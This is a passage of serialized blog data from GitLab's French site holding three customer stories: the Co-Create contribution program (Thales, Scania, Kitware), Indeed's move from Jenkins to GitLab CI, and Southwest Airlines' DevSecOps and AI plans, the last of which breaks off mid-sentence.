»*\n\nDans cet article, découvrez comment nos clients tirent parti du Programme Co-Create pour transformer leurs idées en code, tout en se formant et en apportant leur contribution.\n\n## Qu'est-ce que le Programme Co-Create ?\nAvec le [GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit), les contributeurs peuvent facilement faire leurs premiers pas sur la plateforme de développement de GitLab. *« Ce que les nouveaux contributeurs doivent comprendre, c'est que rien n'est définitif avec le GDK »*, indique Hook. *« Si un contributeur effectue une modification qui ne fonctionne pas, il peut l'annuler ou tout recommencer. Le GDK permet d'expérimenter, de tester et d'apprendre sans se soucier de l'environnement. »*\n\nChaque entreprise participant au Programme Co-Create de GitLab reçoit une assistance tout au long de son parcours de contribution :\n\n- __Atelier d'intégration technique__ : session dédiée à la mise en place du GitLab Development Kit (GDK) et à la présentation de l'architecture de la plateforme GitLab.\n- __Support technique individuel__ : accès aux ingénieurs GitLab pour programmer en binôme et recevoir des conseils techniques.\n- __Explications détaillées sur l'architecture__ : sessions sur des composants spécifiques de la plateforme GitLab en lien direct avec le problème auquel l'entreprise contribue.\n- __Aide à la revue de code__ : retours et conseils détaillés tout au long du processus de merge request.\n- __Points réguliers__ : collaboration continue pour assurer l'avancement de la contribution et répondre aux problématiques rencontrées.\n\nCette structure garantit que les équipes peuvent contribuer efficacement, quelle que soit leur expérience antérieure avec le code base de GitLab ou les langages de programmation Ruby/Go. Comme le note John Parent de Kitware, *« si vous êtes un nouvel utilisateur de GitLab, vous avez l'impression d'être face à une architecture sophistiquée et à une immense quantité de code réparti sur différents projets. Le Programme Co-Create regroupe l'équivalent de plusieurs semaines de formation interne en une formation accélérée et ciblée. »*\n\nEn plus d'aboutir au développement de nouvelles fonctionnalités, ce programme permet d'établir des relations durables entre GitLab et sa communauté d'utilisateurs. *« Le fait que nos clients contribuent avec enthousiasme au développement de nouvelles fonctionnalités est inspirant pour nos ingénieurs »*, révèle Shekhar Patnaik, Principal Engineer chez GitLab. *« Les clients découvrent la \"méthode GitLab\" et les ingénieurs sont témoins de leur engagement à façonner l'avenir de GitLab. »*\n\n## Contribution de Thales : amélioration de l'expérience utilisateur des projets\n\nLa société Thales a identifié des opportunités pour améliorer l'interface utilisateur de la plateforme GitLab lorsque les utilisateurs créent des projets vides. Et elle ne s'est pas contentée de soumettre une demande de fonctionnalité : elle a développé la solution elle-même. Elle a axé ses contributions sur l’amélioration de l'expérience de configuration de nouveaux projets en simplifiant la configuration SSH/HTTPS avec une interface composée de plusieurs onglets et en ajoutant une fonctionnalité de copier/coller pour les extraits de code. Ces changements ont eu un impact significatif sur les workflows des équipes de développement.\nL'équipe de Thales n'a pas seulement travaillé à l'amélioration de l'UX. Quentin Michaud, doctorant travaillant dans le domaine des applications cloud en périphérie chez Thales, a contribué à l'amélioration du GitLab Development Kit (GDK). Chargé de maintenance de paquets pour Arch Linux, Quentin Michaud, fort de son expertise, a contribué à enrichir la documentation du GDK et à soutenir sa conteneurisation, facilitant ainsi le travail des futurs contributeurs.\n\n*« Grâce à mon expérience en open source, j'ai pu améliorer la prise en charge des distributions Linux par le GDK »*, explique Quentin Michaud. *« Pendant que j'améliorais la documentation sur la gestion de versions des paquets, j'ai constaté que l'équipe Contributor Success de GitLab travaillait également à l'intégration du GDK dans un conteneur. Voir nos efforts converger a été un grand moment pour moi. Cela a montré que la collaboration open source peut contribuer à la création de meilleures solutions. »*\n\nL'expérience s'étant avérée positive pour l'équipe de Thales, Sébastien Lejeune utilise désormais le Programme Co-Create comme exemple *« pour montrer à nos managers le retour sur investissement généré grâce aux contributions open source. »*\n\n## Contribution de Scania : amélioration de la prise en charge des paquets\nLorsque l'entreprise Scania a eu besoin d'une prise en charge avancée des paquets dans GitLab, elle a vu une opportunité d'apporter sa contribution et de développer cette fonctionnalité elle-même.\n*« Cela fait longtemps que nous utilisons la plateforme GitLab et que nous promouvons activement l'open source au sein de notre entreprise. Le Programme Co-Create est pour nous une façon concrète d'y contribuer directement »*, révèle Puttaraju Venugopal Hassan, Solution Architect chez Scania.\n\nL'équipe a commencé par des changements mineurs pour se familiariser avec le code base et le processus de revue avant de passer à des fonctionnalités plus importantes. *« L'un des aspects les plus gratifiants du Programme Co-Create a été de revenir sur l'ensemble du processus et de voir le chemin parcouru »*, indique Océane Legrand, Software Developer chez Scania. *« Nous avons commencé par évaluer les besoins et apporter de petits changements, avant de passer à des tâches plus importantes au fil du temps. C'est formidable de voir cette progression. »*\n\nLes contributions de l'équipe de Scania incluent la correction des bogues pour le registre de paquets, ainsi que l'amélioration des fonctionnalités du registre de paquets Conan. Ce dernier pourra bientôt être proposé en disponibilité générale (GA), avec l'implémentation de la prise en charge de la version 2 de Conan. Le travail et la collaboration de Scania avec GitLab sont la preuve que le Programme Co-Create peut apporter des améliorations significatives aux fonctionnalités de registre de paquets de GitLab.\n\n*« Dès le début, notre expérience avec le Programme Co-Create a été très organisée. Nous avons participé à des sessions de formation pendant lesquelles nous avons pu découvrir tous les éléments nécessaires à notre contribution. Des sessions individuelles avec un ingénieur GitLab nous ont également offert une vue détaillée de l'architecture des paquets de GitLab, ce qui a rendu le processus de contribution beaucoup plus fluide »*, déclare Juan Pablo Gonzalez, Software Developer chez Scania.\nL'impact du programme va au-delà du code. En effet, les participants acquièrent également des compétences précieuses grâce à leurs contributions. À l'occasion de la sortie de [la version 17.8 de GitLab](https://about.gitlab.com/releases/2025/01/16/gitlab-17-8-released/#mvp), Océane Legrand et Juan Pablo Gonzalez ont tous deux été désignés comme Most Valuable Person (MVP) de GitLab. Océane Legrand a parlé de l'impact de son travail en open source sur GitLab et Scania, y compris l'obtention de nouvelles compétences pour elle et son équipe : *« Ma contribution au travers du Programme Co-Create m'a permis d'acquérir de nouvelles compétences et une expérience de Ruby et des migrations en arrière-plan. Lorsque mon équipe chez Scania a rencontré un problème lors d'une mise à niveau, j'ai pu participer à sa résolution, car je l'avais déjà rencontré dans le cadre du Programme Co-Create. »*\n\n## Contribution de Kitware : optimisation de l'authentification pour le calcul haute performance\nKitware a mis à profit son expertise spécialisée issue de son travail avec des laboratoires nationaux pour améliorer le framework d'authentification de GitLab. Ses contributions comprenaient l'ajout de la prise en charge du flux d'autorisation d'appareil OAuth2 dans GitLab, ainsi que la mise en œuvre de nouveaux composants, tels que des tables de base de données, des contrôleurs, des vues et de la documentation. Ces améliorations élargissent les options d'authentification de GitLab, rendant la plateforme plus polyvalente pour les appareils sans navigateur ou disposant de capacités de saisie limitées.\n\n*« Le Programme Co-Create est le moyen le plus efficace de contribuer à GitLab en tant que contributeur externe »*, estime John Parent, R&D Engineer chez Kitware. *« Grâce aux sessions de [pair programming](https://about.gitlab.com/fr-fr/blog/agile-pairing-sessions/ \"Pair programming\") entre développeurs et développeuses, nous avons identifié de meilleures implémentations que nous aurions peut-être manquées si nous avions travaillé seuls. »*\n\nEn tant que contributeur open source de longue date, Kitware a particulièrement apprécié l'approche de développement de GitLab. *« Je me doutais que GitLab ne se contenterait pas de solutions prêtes à l'emploi à son échelle, mais voir les équipes de développement intégrer une dépendance Ruby au lieu de créer une solution interne personnalisée était génial »*, explique John Parent. *« Venant du monde C++, où les gestionnaires de paquets sont rares, j'ai apprécié de voir cette approche et sa simplicité. »*\n\n## Quels sont les avantages du Programme Co-Create ?\n\nLe Programme Co-Create crée de la valeur à la fois pour GitLab et le partenaire impliqué. *« Le programme comble le fossé qui peut exister entre les ingénieurs qui développent GitLab et nos clients »*, affirme Imre Farkas, Staff Backend Engineer chez GitLab. *« Collaborer avec les clients nous permet de comprendre leurs défis quotidiens, les parties de l'écosystème GitLab sur lesquelles ils s'appuient et les domaines dans lesquels des améliorations peuvent être apportées. C'est formidable de voir à quel point ils sont enthousiastes à l'idée de s'impliquer dans le développement de GitLab à nos côtés. »*\n\nCette approche collaborative accélère également le développement de GitLab. Comme l'observe Shekhar Patnaik, Principal Engineer chez GitLab : *« Grâce au Programme Co-Create, nos clients nous aident à faire progresser notre roadmap. Leurs contributions nous permettent de fournir des fonctionnalités critiques plus rapidement, ce qui profite à l'ensemble de notre base d'utilisateurs. Le programme étant en constante évolution, nous avons de fortes chances d'accélérer le développement de nos fonctionnalités les plus importantes en travaillant aux côtés des personnes qui comptent sur elles. »*\n\n## Premiers pas avec le Programme Co-Create\nVous souhaitez transformer vos demandes de fonctionnalités en réalité ? Que vous cherchiez à perfectionner l'interface utilisateur de GitLab comme Thales, à améliorer la prise en charge des paquets comme Scania ou à optimiser l'authentification comme Kitware, le Programme Co-Create accueille les entreprises qui souhaitent façonner activement l'avenir de GitLab tout en développant une expérience open source précieuse.\n\nContactez votre représentant GitLab pour en savoir plus sur la participation au Programme Co-Create ou visitez notre [page dédiée](https://about.gitlab.com/community/co-create/) pour plus d'informations.\n",[931,932,933],"contributors","open source","customers","2025-02-10",{"slug":936,"featured":13,"template":806},"the-co-create-program-how-customers-are-collaborating-to-build-gitlab",{"content":938,"config":949},{"title":939,"description":940,"authors":941,"heroImage":943,"date":944,"body":945,"category":691,"tags":946,"updatedDate":948},"Comment Indeed a transformé sa plateforme CI avec GitLab","Indeed a migré des milliers de projets vers le système d'intégration continue (CI) de GitLab, ce qui lui a permis de booster sa productivité et de réduire ses coûts.",[942],"Carl Myers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099351/Blog/Hero%20Images/Blog/Hero%20Images/Indeed-blog-cover-image-2_4AgA1DkWLtHwBlFGvMffbC_1750099350771.png","2024-08-27","***Cet article a été traduit. Retrouvez la version originale sur [notre blog anglais](https://about.gitlab.com/blog/how-indeed-transformed-its-ci-platform-with-gitlab/ \"Blog anglais de GitLab\").***\n\n***Note de la rédaction : nous invitons parfois les membres de notre communauté de clients à contribuer au blog de GitLab. Nous remercions aujourd'hui Carl Myers, responsable des plateformes CI chez Indeed, de nous avoir fait part de son expérience avec GitLab.***\n\nChez Indeed, notre mission est d'aider chacun à trouver un emploi. Indeed est le [plus grand site d'offres d'emploi](https://www.indeed.com/about?isid=press_us&ikw=press_us_press%2Freleases%2Faward-winning-actress-viola-davis-to-keynote-indeed-futureworks-2023_textlink_https%3A%2F%2Fwww.indeed.com%2Fabout) au monde, accueillant plus de 350 millions de visiteurs uniques chaque mois.\n\nDu côté des équipes de plateforme d'ingénierie d'Indeed, la devise est légèrement différente : « Nous aidons ceux qui aident chacun à trouver un emploi ». Depuis près de vingt ans, les chercheurs d'emploi sont au cœur de notre culture d'ingénierie fondée sur les données. Dans ce contexte, notre responsabilité est de créer des outils qui non seulement facilitent cet objectif, mais qui permettent également aux ingénieurs d'offrir chaque jour des opportunités aux candidats.\n\nL'[intégration continue](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/ \"Qu'est-ce que l'intégration continue (CI) ?\") de GitLab a permis à l'équipe de plateforme CI d'Indeed, composée de seulement 11 personnes, d'accompagner efficacement des milliers d'utilisateurs dans toute l'entreprise. Indeed a également constaté d'autres avantages, avec notamment :\n- une augmentation des pipelines quotidiens de 79 %\n- une réduction de 10 à 20 % des coûts de matériel de CI\n- une diminution des demandes d'assistance\n\n## L'évolution de notre plateforme CI : de Jenkins vers une solution évolutive\n\nComme de nombreuses grandes entreprises dans le domaine technologique, nous avons construit notre plateforme CI de manière organique, au fil de l'évolution de l'entreprise, en faisant appel aux solutions open source et standard qui étaient disponibles à l’époque. En 2007, lorsque Indeed comptait moins de 20 ingénieurs, nous utilisions Hudson, le prédécesseur direct de Jenkins.\n\nUne vingtaine d'années plus tard, nous employons aujourd'hui des milliers d'ingénieurs. Nous avons progressivement amélioré nos outils au fil de l'arrivée de nouvelles technologies, notamment en passant à Jenkins vers 2011. Une autre avancée nous a permis de déplacer la plupart de nos charges de travail vers des nœuds de travail cloud dynamiques grâce à [AWS EC2](https://aws.amazon.com/ec2/). Il est toutefois devenu évident que l'architecture de notre système avait atteint ses limites lorsque nous sommes entrés dans l'ère de [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\").\n\nL'architecture de Jenkins n'est en effet pas conçue pour le cloud. Le fonctionnement de Jenkins repose sur un nœud « contrôleur », un point de défaillance unique qui exécute les parties critiques d'un pipeline et décharge certaines étapes vers les nœuds de travail (qui peuvent évoluer horizontalement dans une certaine mesure). Les contrôleurs constituent également un axe de mise à l'échelle manuelle.\n\nSi vos tâches sont trop nombreuses pour un contrôleur donné, elles doivent être partitionnées manuellement entre plusieurs contrôleurs. CloudBees propose des solutions pour contourner ce problème, notamment avec le CloudBees Jenkins Operations Center qui vous permet de gérer votre constellation de contrôleurs depuis un seul endroit centralisé. Cependant, les contrôleurs restent difficiles à exécuter dans un environnement Kubernetes, car chaque contrôleur est un point de défaillance unique et fragile. Des activités telles que les déploiements de nœuds ou des défaillances matérielles peuvent ainsi entraîner des temps d'arrêt.\n\nAu-delà des limitations techniques inhérentes à Jenkins, notre plateforme CI a également rencontré des problèmes dont nous étions malheureusement à l'origine. Par exemple, nous avons utilisé le DSL Groovy de Jenkins pour générer des jobs à partir du code contenu dans chaque dépôt. Chaque projet s'est ainsi retrouvé avec un pipeline individuel de jobs copiés, ce qui a engendré des centaines de versions difficiles à maintenir et à mettre à jour. Bien que la culture d'ingénierie d'Indeed encourage la flexibilité et permette aux équipes de travailler dans des dépôts distincts, cette flexibilité était devenue un fardeau, car les équipes consacraient trop de temps à répondre aux demandes de maintenance régulières.\n\nAyant pris conscience de cette dette technique, nous nous sommes tournés vers le [modèle « Golden Path »](https://tag-app-delivery.cncf.io/whitepapers/platforms/), qui permet une certaine flexibilité tout en offrant une méthode par défaut pour simplifier les mises à jour et encourager des pratiques cohérentes dans tous les projets.\n\nL'équipe de plateforme CI d'Indeed est relativement petite. Nous comptons environ 11 ingénieurs qui gèrent des milliers d'utilisateurs, répondent aux demandes d'assistance, effectuent des mises à niveau et des opérations de maintenance, et offrent une assistance constante à notre entreprise mondiale.\n\nComme notre équipe prend en charge non seulement notre instance GitLab, mais également l'ensemble de la plateforme CI, y compris le serveur d'artefacts, notre code de compilation partagé et de multiples autres composants personnalisés de notre plateforme, nous avions énormément de travail. Nous avions besoin d'une solution qui nous aiderait à résoudre nos problèmes tout en exploitant au maximum nos ressources existantes.\n\n## Notre migration vers GitLab CI\n\nAprès un examen minutieux de sa conception avec les principales parties prenantes, nous avons décidé de migrer l'ensemble de l'entreprise de Jenkins vers le système d'intégration continue de GitLab.\nNos principales raisons étaient les suivantes :\n- Nous utilisions déjà GitLab pour la gestion du code source.\n- GitLab est une offre complète qui fournit tout ce dont nous avons besoin pour l'intégration continue.\n- GitLab CI est conçu pour l'évolutivité et le cloud.\n- GitLab CI nous permet de générer des modèles qui élargissent d'autres modèles, ce qui est compatible avec notre stratégie « Golden Path ».\n- GitLab est un logiciel open source et l'équipe de GitLab nous a toujours aidés à soumettre des correctifs, ce qui nous offre davantage de flexibilité et renforce notre confiance.\n\nAu moment de notre annonce officielle de la disponibilité de la plateforme CI de GitLab pour tous les utilisateurs, 23 % de l'ensemble des compilations étaient déjà effectuées dans le système d'intégration continue de GitLab.\n\nNotre plus grand défi lors de cette migration était que « le diable se niche dans les détails ». Du fait du nombre de compilations personnalisées présentes dans Jenkins, nous savions qu'un outil de migration automatisé ne fonctionnerait pas pour la majorité des équipes. Or, la plupart des avantages du nouveau système ne seraient concrétisés qu'une fois l'ancien système complètement abandonné. Ce n'est qu'alors que nous pourrions cesser d'utiliser le matériel et économiser les frais de licence CloudBees.\n\n## La parité des fonctionnalités et les avantages de repartir à zéro\nIndeed utilise de nombreuses technologies différentes, mais les trois langages les plus courants sont Java, Python et JavaScript. Ces piles technologiques de langages sont utilisées pour créer des bibliothèques, des déployables (services Web ou applications) et des tâches cron (un processus qui s'exécute à intervalles réguliers, par exemple pour créer un ensemble de données dans notre lac de données). Chacune de ces piles correspondait à un type de projet spécifique (par ex. Java Library, Python Cronjob, JavaScript Webapp, etc.) avec une configuration de base dans Jenkins. Par conséquent, nous avons dû générer un modèle « Golden Path » dans le système d'intégration continue de GitLab pour chacun de ces types de projets.\n\nLa plupart des utilisateurs pouvaient utiliser ces modèles recommandés tels quels. Pour ceux qui avaient besoin de les personnaliser, le « Golden Path » constituait un point de départ utile leur permettant de modifier uniquement les aspects nécessaires, tout en bénéficiant de mises à jour de modèles centralisées à l'avenir.\n\nNous avons rapidement constaté que la plupart des utilisateurs, même ceux qui avaient besoin de personnaliser certains aspects de leur projet, étaient tout à fait disposés à adopter ce modèle et à l'essayer. S'ils s'apercevaient que certaines de leurs personnalisations n'étaient pas incluses dans le modèle, ils savaient qu'ils pouvaient toujours les ajouter ultérieurement. C'était un résultat surprenant ! Nous pensions en effet que les équipes qui avaient investi dans des personnalisations importantes seraient réticentes à l'idée de les abandonner. Or, dans la majorité des cas, les équipes ne s'en souciaient tout simplement plus. Cela nous a permis de migrer de nombreux projets très rapidement : il suffisait en effet de déposer notre « Golden Path » (un petit fichier d'environ 6 lignes avec des inclusions) dans leur projet pour que chaque équipe puisse s'occuper du reste.\n\n## L'innersource à la rescousse\n\nL'équipe de plateforme CI a également adopté une politique de « priorité aux contributions externes » pour encourager la participation de tous les membres de l'entreprise. C'est ce qu'on appelle parfois l'[innersource](https://about.gitlab.com/fr-fr/topics/version-control/what-is-innersource/ \"Qu'est-ce que l'innersource ?\"). Nous avons créé des tests et une documentation pour encourager les contributions externes (c'est-à-dire externes à notre équipe immédiate). Les équipes qui souhaitaient créer des personnalisations pouvaient ainsi les ajouter au « Golden Path » tout en les activant ou désactivant à l'aide d'un feature flag. Cette approche a encouragé une meilleure collaboration et un plus grand respect des personnalisations (parce que celles-ci faisaient désormais partie du code base commun).\nAutre avantage : les équipes qui attendaient désespérément une fonctionnalité dont elles avaient besoin pouvaient désormais la créer elles-mêmes. Nous pouvons désormais leur donner le choix : « Oui, nous prévoyons de mettre en œuvre cette fonctionnalité dans quelques semaines, mais si vous en avez besoin plus tôt, nous serions ravis d'accepter une contribution ». Au final, de nombreuses fonctionnalités de base nécessaires à la parité ont été développées de cette manière, plus rapidement et mieux que nos ressources ne le permettaient. La migration n'aurait pas été un succès sans ce modèle.\n\n## En avance sur le calendrier et en dessous du budget\n\nNotre licence CloudBees arrivait à expiration le 1er avril 2024. Nous avons donc fixé cette date comme date d'achèvement de la migration. Cette échéance était particulièrement ambitieuse, car, à l'époque, 80 % de l'ensemble des compilations (soit 60 % de tous les projets) utilisaient encore Jenkins pour le processus d'intégration continue. Plus de 2 000 [fichiers Jenkins (Jenkinsfiles)](https://www.jenkins.io/doc/book/pipeline/jenkinsfile/) devaient donc encore être recréés ou remplacés par nos modèles « Golden Path ».\n\nPour atteindre cet objectif, nous avons mis à disposition des équipes une documentation et des exemples, ajouté des fonctionnalités dans la mesure du possible et aidé nos utilisateurs à offrir des contributions quand ils le pouvaient.\n\nNous avons mis en place des permanences régulières, durant lesquelles tous les utilisateurs pouvaient nous poser des questions ou demander notre aide pour migrer. Nous avons également donné la priorité aux questions d'assistance relatives à la migration. Certains membres de notre équipe sont devenus des experts du système d'intégration continue de GitLab et ont partagé leur expertise avec le reste de l'équipe et toute l'entreprise.\n\nLa migration automatique n'était pas adaptée à la plupart des projets, mais nous avons découvert qu'elle pouvait fonctionner pour un petit sous-ensemble de projets où les personnalisations étaient rares. Nous avons créé une campagne de changement par lots Sourcegraph afin de soumettre des merge requests pour migrer des centaines de projets et, avons convaincu les utilisateurs à accepter ces merge requests.\n\nNous avons également partagé des exemples de réussite notables avec toutes les équipes. Comme les utilisateurs ajoutaient de nouvelles fonctionnalités à nos modèles « Golden Path », nous avons annoncé que ces fonctionnalités seraient ajoutées « gratuitement » lors de la migration vers [GitLab CI](https://about.gitlab.com/fr-fr/blog/ci-deployment-and-environments/ \"Comment déployer du code dans des environnements multiples avec GitLab CI\"). Ces fonctionnalités comportaient entre autres un scan de sécurité et de conformité intégré, des notifications Slack pour les compilations CI et des intégrations avec d'autres systèmes internes.\n\nNous avons également mené une campagne de tests agressifs. Dans ce cadre, nous avons automatiquement désactivé les jobs Jenkins qui n'avaient pas été exécutés ou qui n'avaient pas abouti depuis un certain temps, en disant aux utilisateurs que s'ils en avaient besoin, ils pouvaient les réactiver. C'est un moyen simple d'identifier les jobs qui sont réellement nécessaires. Nous avons ainsi identifié des milliers de jobs qui n'avaient pas été exécutés une seule fois depuis notre dernière migration CI (de Jenkins vers Jenkins). Nous en avons déduit que nous pouvions ignorer la vaste majorité de ces jobs sans aucun risque.\n\nEn janvier 2024, nous avons annoncé que tous les contrôleurs Jenkins passeraient en lecture seule (sans compilation) à moins qu'une exception ne soit explicitement demandée par les utilisateurs. La propriété des contrôleurs était mieux connue et ils s'alignaient généralement sur la structure de notre entreprise. Il était donc logique de se concentrer sur les contrôleurs plutôt que sur les jobs. De plus, la liste des contrôleurs était beaucoup plus gérable que celle des jobs.\n\nPour obtenir une exception, les utilisateurs devaient identifier leurs contrôleurs dans une feuille de calcul, puis saisir leurs coordonnées à côté de chacun d'eux. Nous avons ainsi pu obtenir une liste à jour et fiable des parties prenantes avec lesquelles nous pouvions effectuer un suivi à mesure que la migration progressait, mais cela a également permis aux utilisateurs d'indiquer clairement les jobs dont ils avaient absolument besoin. Nous sommes passés d'environ 400 contrôleurs à 220 au mois de janvier, mais seuls 54 contrôleurs ont nécessité des exceptions (et parmi ces contrôleurs, plusieurs appartenaient à notre équipe pour exécuter nos tests et déploiements canari)).\n\n![Indeed - Graphique de recensement des contrôleurs Jenkins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099357/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099357392.png)\n\nNous avions donc une liste gérable d'environ 50 équipes et chaque membre de notre équipe a été chargé d'en contacter un certain nombre pour évaluer leurs progrès dans le cadre de la migration. Nous avons consacré les mois de janvier et février à cette tâche et découvert que certaines équipes prévoyaient de terminer leur migration sans notre aide avant le 28 février. D'autres prévoyaient de mettre fin à leurs projets existants avant cette date, et seule une petite minorité pensait rencontrer des difficultés.\n\nNous avons pu travailler avec ce petit groupe d'équipes pour leur offrir un niveau d'accompagnement très personnalisé. Nous leur avons expliqué que nous ne disposions pas de l'expertise nécessaire pour effectuer la migration à leur place, mais que nous pouvions collaborer avec un expert métier de leur équipe. Dans certains cas, nous avons écrit le code et l'équipe s'est chargée de la revue de code, ou vice-versa. Au final, tout notre travail a porté ses fruits et nous avons pu désactiver Jenkins à la date que nous avions annoncée 8 mois plus tôt.\n\n## Résultats : une intégration continue plus efficace et des utilisateurs plus satisfaits\n\nÀ son apogée, notre plateforme CI Jenkins permettait d'exécuter plus de 14 000 pipelines par jour et de réaliser des milliers de projets. Aujourd'hui, notre plateforme CI GitLab exécute régulièrement plus de 25 000 pipelines par jour, mais peut en traiter plus de 40 000 en une seule journée. Le coût différentiel de chaque job dans chaque pipeline est similaire à celui de Jenkins, mais sans les coûts indirects du matériel nécessaire au fonctionnement des contrôleurs. De plus, ces contrôleurs agissaient comme des points de défaillance uniques et des limiteurs de mise à l'échelle, ce qui nous obligeait à diviser artificiellement notre plateforme en segments. Bien qu'une comparaison directe soit difficile, nous constatons que l'élimination de ces frais généraux permet de réduire nos coûts de matériel d'intégration continue de 10 à 20 %. En outre, la charge d'assistance de GitLab CI est bien moindre, car l'application évolue automatiquement dans le cloud et offre une résilience interzone, et le langage utilisé pour la génération de modèles s'accompagne d'une excellente documentation publique.\n\nUn avantage tout aussi important, sinon plus, est que nous sommes maintenant à plus de 70 % d'adoption de nos modèles « Golden Path ». Cela signifie que lorsque nous déployons une amélioration, plus de 5 000 projets en bénéficient immédiatement sans qu'aucune action ne soit requise de la part des équipes d'Indeed. Nous avons ainsi pu déplacer certains jobs vers des instances ARM64 plus rentables, mettre à jour plus facilement les images de compilation des utilisateurs et mieux gérer d'autres opportunités de réduction des coûts. Et le résultat dont nous sommes le plus fiers ? Nos utilisateurs sont plus satisfaits grâce à la nouvelle plateforme.\n\n__À propos de l'auteur :__\n*Carl Myers vit à Sacramento, en Californie, et est le responsable de l'équipe de plateforme CI d'Indeed. Depuis près de vingt ans, Carl crée des outils internes et des plateformes de développement pour le bonheur d'ingénieurs d'entreprises de toutes tailles.*\n\n**Remerciements :**\n*Cette migration n'aurait pas été possible sans le travail inlassable de Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen et de toute l'équipe de plateforme CI. L'équipe souhaite également remercier Deepak Bitragunta et Irina Tyree, dont le leadership a permis de garantir les ressources, l'adhésion et la cohérence à l'échelle de l'entreprise qui étaient nécessaires tout au long de ce long projet. Enfin, nous remercions tous les membres d'Indeed qui ont contribué au code, aux retours d'expérience, aux rapports de bogues et à la migration des projets.*\n\n**Ce texte est une version modifiée de l'article « [How Indeed Replaced Its CI Platform with Gitlab CI](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/) », publié à l'origine sur le blog dédié à l'ingénierie d'Indeed.**",[933,89,947,835],"user stories","2024-12-18",{"slug":950,"featured":13,"template":806},"how-indeed-transformed-its-ci-platform-with-gitlab",{"content":952,"config":963},{"title":953,"description":954,"authors":955,"heroImage":957,"date":958,"body":959,"category":691,"tags":960},"Southwest Airlines transforme son développement avec GitLab","Découvrez comment les équipes DevOps de la compagnie aérienne augmentent leur capacité à détecter et à résoudre les problèmes avec GitLab.",[956],"Sharon Gaudin","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665272/Blog/Hero%20Images/AdobeStock_380312133.jpg","2024-01-30","Southwest Airlines Co. met tout en œuvre pour faciliter le travail de ses équipes de développement.\n\nLes responsables informatiques de la plus grande compagnie aérienne low-cost au monde s'emploient à éliminer les tâches chronophages et répétitives des workflows de leurs équipes. L'objectif vise à leur faire gagner un temps précieux pour qu'elles se consacrent à des projets à forte valeur ajoutée.\n\n*« Notre approche consiste à éliminer les obstacles qui ralentissent le travail de nos équipes »*, déclare Jim Dayton, Vice President et CISO de Southwest Airlines. *« Je suis fermement convaincu que la plupart des développeurs et développeuses choisissent ce métier pour sa part de créativité. Résoudre les problèmes est leur cheval de bataille. Nous souhaitons donc leur faciliter la tâche et supprimer les obstacles qui entravent leur productivité. »*\n\nPour faire de cette idée une réalité, Jim Dayton s'appuie notamment sur la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.\n\nÀ l'occasion de son interview lors du [DevSecOps World Tour de GitLab](https://about.gitlab.com/events/epic-conference/) à Dallas, Jim Dayton a évoqué les efforts de Southwest Airlines pour soutenir ses équipes de développement et promouvoir leur travail. Lors de son échange avec Reshmi Krishna, Director of Enterprise Solutions Architecture chez GitLab, il a partagé ses réflexions sur les avantages des fonctionnalités d'intelligence artificielle pour enrichir le travail de ses équipes.\n\nSouthwest Airlines a adopté une [approche DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"Qu'est-ce que DevOps ? \") pour le développement d'applications offrant à ses équipes de développement davantage de fonctionnalités en libre-service et de processus de gestion des connaissances. *« Nous voulons permettre aux développeurs et développeuses d'identifier un problème dès qu'il survient, de trouver rapidement une solution et de limiter les interruptions causées par les changements de contexte »*, expose Jim Dayton. *« Il est essentiel de comprendre ce qui freine leur productivité. »*\n\nDepuis 2019, année où Southwest Airlines a entamé sa collaboration avec GitLab, l'entreprise s'est attachée à assurer la cohérence de ses processus de développement logiciel. Pour cela, elle a choisi de centraliser son code dans un dépôt GitLab partagé. En sachant précisément où l'ensemble du code est stocké, les équipes de développement peuvent évaluer plus facilement les indicateurs de performance et gagner en efficacité grâce à la réutilisation du code.\n\n*« Nous finalisons actuellement nos pipelines d'entreprise et la migration des équipes est imminente »*, annonce Jim Dayton. *« Nous collaborons étroitement avec nos nombreuses équipes de développement d'applications pour bien comprendre leurs attentes en matière de pipelines. La finalisation de ce projet est prévue pour la fin de l'année. »*\n\n### La promesse de l'IA\n\nL'utilisation de l'intelligence artificielle est un levier pour les équipes de développement. Elle leur permet notamment de se concentrer sur des tâches plus importantes et plus innovantes, comme le souligne Jim Dayton.\n\nL'IA générative, que ce soit sous la forme d'explications des vulnérabilités, de suggestions de code ou de complétion de code, a un impact considérable sur les workflows tout au long du cycle de vie du développement logiciel. L'intégration de l'IA dans une plateforme DevSecOps renforce la sécurité et réduit le temps consacré aux revues de code et au développement d'applications.\n\nJim Dayton se réjouit de pouvoir utiliser les fonctionnalités d'IA de GitLab pour accélérer et optimiser les processus de développement et de déploiement.\n\n*« Nous voulons éliminer autant que possible les tâches routinières et administratives »*, insiste Jim Dayton, qui considère que l'IA est extrêmement prometteuse, malgré ce que peut laisser penser le battage médiatique autour de cette technologie. *« L'IA nous aidera peut-être à atteindre cet objectif. Un jour, elle pourra sûrement fournir une solution immédiate à une vulnérabilité qui vient d'être identifiée ou expliquer à quoi sert une portion de code. Elle pourra aussi vous dire à quoi elle s'intègre, à quelles données elle accède et pourquoi. Elle pourra nous indiquer clairement, par exemple, qu'un bloc de code spécifique est responsable de 20 % des incidents survenus dans telle application l'année précédente. C'est en ce sens, je pense, que l'IA peut nous aider. »*, précise-t-il.\n\nJim Dayton estime que même si l'IA ne remplacera pas les équipes de développement, elle facilitera grandement leur travail et la communication entre les équipes, notamment dans un contexte où le télétravail s'est généralisé depuis la pandémie de COVID-19.\n\n*« La suggestion de relecteurs est une des fonctionnalités prévues dans la roadmap de [GitLab] »* mentionne Jim Dayton. *« Auparavant, pour obtenir de l'aide dans le cadre de revues de code, il suffisait de demander aux collègues qui partageaient votre bureau. Ce qui n'est plus aussi simple aujourd'hui. En revanche, l'IA peut désormais suggérer un relecteur ayant déjà contribué au code du projet ou résolu des incidents, et qui possède les compétences nécessaires. Ce qui apporte une réelle valeur ajoutée au processus de revue de code. Je pense que l'automatisation est la clé pour 